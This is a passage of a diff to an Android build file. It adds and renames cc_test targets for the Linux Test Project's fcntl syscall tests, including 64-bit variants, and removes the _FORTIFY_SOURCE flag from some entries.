+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl05",
+    stem: "fcntl05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl05.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
         "testcases/kernel/syscalls/utils",
         "include/old",
     ],
@@ -14135,7 +3069,6 @@
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/fcntl/fcntl05.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
         "-D_GNU_SOURCE",
@@ -14149,11 +3082,4009 @@
 }
 
 cc_test {
-    name: "ltp_lchown03",
-    stem: "lchown03",
+    name: "ltp_fcntl06",
+    stem: "fcntl06",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lchown/lchown03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl06.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl06_64",
+    stem: "fcntl06_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl06.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl07",
+    stem: "fcntl07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl07.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl07_64",
+    stem: "fcntl07_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl07.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl08",
+    stem: "fcntl08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl08.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl08_64",
+    stem: "fcntl08_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl08.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl09",
+    stem: "fcntl09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl09.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl09_64",
+    stem: "fcntl09_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl09.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl10",
+    stem: "fcntl10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl10.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl10_64",
+    stem: "fcntl10_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl10.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl11",
+    stem: "fcntl11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl11.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl11_64",
+    stem: "fcntl11_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl11.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl12",
+    stem: "fcntl12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl12.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl12_64",
+    stem: "fcntl12_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl12.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl13",
+    stem: "fcntl13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl13.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl13_64",
+    stem: "fcntl13_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl13.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl14",
+    stem: "fcntl14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl14.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl14_64",
+    stem: "fcntl14_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl14.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl15",
+    stem: "fcntl15",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl15.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl15_64",
+    stem: "fcntl15_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl15.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl16",
+    stem: "fcntl16",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl16.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl16_64",
+    stem: "fcntl16_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl16.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl17",
+    stem: "fcntl17",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl17.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl17_64",
+    stem: "fcntl17_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl17.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl18",
+    stem: "fcntl18",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl18.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl18_64",
+    stem: "fcntl18_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl18.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl19",
+    stem: "fcntl19",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl19.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl19_64",
+    stem: "fcntl19_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl19.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl20",
+    stem: "fcntl20",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl20_64",
+    stem: "fcntl20_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl21",
+    stem: "fcntl21",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl21.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl21_64",
+    stem: "fcntl21_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl21.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl22",
+    stem: "fcntl22",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl22.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl22_64",
+    stem: "fcntl22_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl22.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl23",
+    stem: "fcntl23",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl23.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl23_64",
+    stem: "fcntl23_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl23.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl24",
+    stem: "fcntl24",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl24.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl24_64",
+    stem: "fcntl24_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl24.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl25",
+    stem: "fcntl25",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl25.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl25_64",
+    stem: "fcntl25_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl25.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl26",
+    stem: "fcntl26",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl26.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl26_64",
+    stem: "fcntl26_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl26.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl27",
+    stem: "fcntl27",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl27_64",
+    stem: "fcntl27_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl27.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl28",
+    stem: "fcntl28",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl28.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl28_64",
+    stem: "fcntl28_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl28.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl29",
+    stem: "fcntl29",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl29.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl29_64",
+    stem: "fcntl29_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl29.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl30",
+    stem: "fcntl30",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl30.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl30_64",
+    stem: "fcntl30_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl30.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl31",
+    stem: "fcntl31",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl31.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl31_64",
+    stem: "fcntl31_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl31.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl32",
+    stem: "fcntl32",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl32.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl32_64",
+    stem: "fcntl32_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl32.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl33",
+    stem: "fcntl33",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl33.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl33_64",
+    stem: "fcntl33_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl33.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl34",
+    stem: "fcntl34",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl34.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl34_64",
+    stem: "fcntl34_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl34.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl35",
+    stem: "fcntl35",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl35.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl35_64",
+    stem: "fcntl35_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl35.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-D_GNU_SOURCE",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "testcases/kernel/syscalls/fcntl",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl36",
+    stem: "fcntl36",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fcntl/fcntl36.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/fcntl",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_fcntl36_64",
